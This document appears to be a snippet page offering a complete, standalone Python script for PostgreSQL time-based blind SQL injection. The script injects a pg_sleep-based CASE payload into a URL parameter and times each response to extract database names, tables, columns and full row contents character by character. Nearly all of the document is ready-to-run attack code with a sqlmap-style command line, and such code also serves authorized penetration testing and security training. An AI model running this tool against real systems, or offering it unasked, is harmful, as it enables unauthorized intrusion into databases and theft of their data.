Time-Based Blind
PostgreSQL time-based linear harness
Complete standalone file. Same linear dumping CLI as the boolean version, but the oracle reads response time from a pg_sleep() branch.
The payload uses AND (SELECT CASE WHEN condition THEN pg_sleep(DELAY) ELSE pg_sleep(0) END) IS NULL so the injected expression remains usable in boolean contexts. -D filters the database/catalog; --schema filters the schema and defaults to public.
import argparse
import string
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
DELAY = 5
THRESHOLD = 3
parser = argparse.ArgumentParser(
description="PostgreSQL time-based blind SQL injection dumping harness.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns-list", required=False, type=str, help="Comma-separated columns to dump.", default=None)
parser.add_argument("--schema", required=False, type=str, help="Schema name.", default="public")
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def oracle(s, q):
payload = f"' AND (SELECT CASE WHEN ({q}) THEN pg_sleep({DELAY}) ELSE pg_sleep(0) END) IS NULL -- -"
try:
r = s.get(url=URL, params={"id": payload}, verify=False, timeout=DELAY + 5, proxies=PROXIES)
except Exception as e:
print(f"\n[-] request failed: {e}")
sys.exit(1)
return r.elapsed.total_seconds() > THRESHOLD
def get_count(s, query, label):
count = 0
while True:
print(f"\r[+] Bruteforcing {label}: {count}", end="", flush=True)
if oracle(s, f"({query})={count}"):
print(f"\n[+] {label}: {count}")
return count
count += 1
def get_length(s, expr, label):
length = 0
while True:
print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
if oracle(s, f"LENGTH(({expr}))={length}"):
print(f"\n[+] Length of {label}: {length}")
return length
length += 1
def dump_value(s, expr, label):
value = ""
length = get_length(s, expr, label)
for pos in range(1, length + 1):
matched = False
for ch in CHARSET:
print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
if oracle(s, f"ASCII(SUBSTRING(({expr}),{pos},1))={ord(ch)}"):
value += ch
matched = True
break
if not matched:
print(f"\n[-] Charset exhausted at position {pos} while dumping {label}")
sys.exit(1)
print(f"\n[+] {label}: {value}")
return value
def database_expr(position):
return f"SELECT datname FROM pg_database WHERE datistemplate=false ORDER BY datname LIMIT 1 OFFSET {position}"
def table_expr(database, schema, position):
return f"SELECT table_name FROM information_schema.tables WHERE table_catalog='{database}' AND table_schema='{schema}' ORDER BY table_name LIMIT 1 OFFSET {position}"
def column_expr(database, schema, table, position):
return f"SELECT column_name FROM information_schema.columns WHERE table_catalog='{database}' AND table_schema='{schema}' AND table_name='{table}' ORDER BY column_name LIMIT 1 OFFSET {position}"
def row_expr(schema, table, column, position):
return f"SELECT CAST({column} AS TEXT) FROM {schema}.{table} ORDER BY {column} LIMIT 1 OFFSET {position}"
if __name__ == "__main__":
s = requests.Session()
if args.current_db:
dump_value(s, "current_database()", "current database")
if args.databases:
database_count = get_count(s, "SELECT COUNT(*) FROM pg_database WHERE datistemplate=false", "database count")
for pos in range(0, database_count):
dump_value(s, database_expr(pos), f"database {pos}")
database = args.database
if not database and (args.tables or args.columns or args.dump):
database = dump_value(s, "current_database()", "current database")
if args.tables:
table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_catalog='{database}' AND table_schema='{args.schema}'", "table count")
for pos in range(0, table_count):
dump_value(s, table_expr(database, args.schema, pos), f"table {pos}")
if args.columns:
if not args.table:
print("[-] --columns requires -T")
sys.exit(1)
column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_catalog='{database}' AND table_schema='{args.schema}' AND table_name='{args.table}'", "column count")
for pos in range(0, column_count):
dump_value(s, column_expr(database, args.schema, args.table, pos), f"column {pos}")
if args.dump:
if not args.table or not args.columns_list:
print("[-] --dump requires -T and -C")
sys.exit(1)
columns = []
for column in args.columns_list.split(","):
columns.append(column.strip())
row_count = get_count(s, f"SELECT COUNT(*) FROM {args.schema}.{args.table}", "row count")
for pos in range(0, row_count):
for column in columns:
dump_value(s, row_expr(args.schema, args.table, column, pos), f"{args.table}.{column} row {pos}")Find by: postgresql, postgres, time based blind sqli, pg_sleep, case when, length, substring, ascii, current_database, pg_database, information_schema, sqlmap style cli